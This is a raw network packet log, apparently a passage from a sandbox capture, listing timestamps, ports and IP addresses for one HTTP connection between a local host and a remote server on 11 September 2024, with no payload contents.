Sep 11, 2024 18:23:51.186216116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186220884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186227083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186230898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186234951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186269999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.186269999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.186269999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.186331034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186335087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186338902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186348915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186352015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186548948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.186858892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186901093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186932087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186939955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186944008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186949015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186976910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186980963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187027931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.187027931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.187027931 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.187364101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187366962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187371016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187419891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187422991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187427044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187432051 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.187437057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187441111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.187608004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.187608004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.189507961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.189512014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.189516068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.189543962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.189548016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.189552069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.189560890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.189563990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.190361023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.190361023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433037043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433057070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433059931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433103085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433106899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433110952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433115959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433119059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433123112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433145046 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433181047 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433192015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433196068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433199883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433209896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433212996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433217049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433221102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433265924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433269978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433273077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433273077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433279037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433281898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433285952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433329105 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433329105 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433352947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433357000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433362007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433418989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433422089 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433423042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433428049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433432102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433435917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433439970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433469057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433471918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433475971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433480024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433486938 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433547020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433551073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433554888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433564901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433568001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433576107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433581114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433607101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433610916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433614969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433640003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433640003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433640003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433681011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433685064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433689117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433698893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433701992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433706045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433710098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433712006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433713913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433748960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433748960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433784008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433788061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433792114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433849096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433856010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433859110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433862925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433872938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433876991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433880091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433883905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433908939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433933020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.433954000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433958054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433962107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433967113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433970928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433974981 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433979988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.433983088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434084892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434088945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434092999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434103966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434108019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434111118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434113026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434113026 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434117079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434120893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434124947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434130907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434139967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434144020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434149027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434194088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434194088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434226036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434228897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434233904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434242964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434247017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434272051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434274912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434278965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434286118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434288979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434303045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434303999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434303999 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434331894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434391975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434396982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434401035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434410095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434412956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434417009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434422016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434426069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434429884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434434891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434438944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434443951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434465885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434465885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434484959 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434535980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434545040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434549093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434559107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434624910 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434645891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434649944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434659958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434669971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434673071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434676886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434681892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434684992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434689045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.434803963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.434803963 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.436228037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.436243057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.436247110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.436431885 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.438559055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438579082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438581944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438682079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438688040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438766003 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.438775063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438781023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438800097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.438802004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438810110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438815117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438855886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438859940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438863993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438873053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438875914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438879967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438889980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438893080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438906908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.438906908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.438906908 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.438940048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438940048 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.438946009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438963890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438973904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438977003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.438982010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439054012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439059019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439063072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439073086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439075947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439079046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439085007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439088106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439093113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439101934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439111948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439111948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439111948 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439116001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439122915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439131021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439135075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439140081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439143896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439172983 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439172983 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439172983 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439192057 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439217091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439220905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439224958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439235926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439239979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439244032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439248085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439251900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439255953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439299107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439299107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439299107 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439604998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439625025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439627886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439692020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.439749002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439753056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439757109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439766884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.439769983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.440224886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.811856985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811866045 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811871052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811881065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811886072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811891079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811893940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811897039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811954021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811958075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811961889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811973095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811975956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811980009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811985016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811989069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811992884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.811999083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812005043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812005043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812005043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812007904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812011957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812016964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812047958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812051058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812055111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812064886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812094927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812094927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812094927 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812218904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812223911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812227964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812237978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812242031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812246084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812251091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812253952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812258005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812261105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812266111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812268972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812273979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812279940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812283039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812288046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812293053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812295914 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812295914 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812297106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812300920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812305927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812403917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812407970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812412977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812422037 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.812433004 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.812433004 CEST	49710	80	192.168.2.5	104.21.14.133
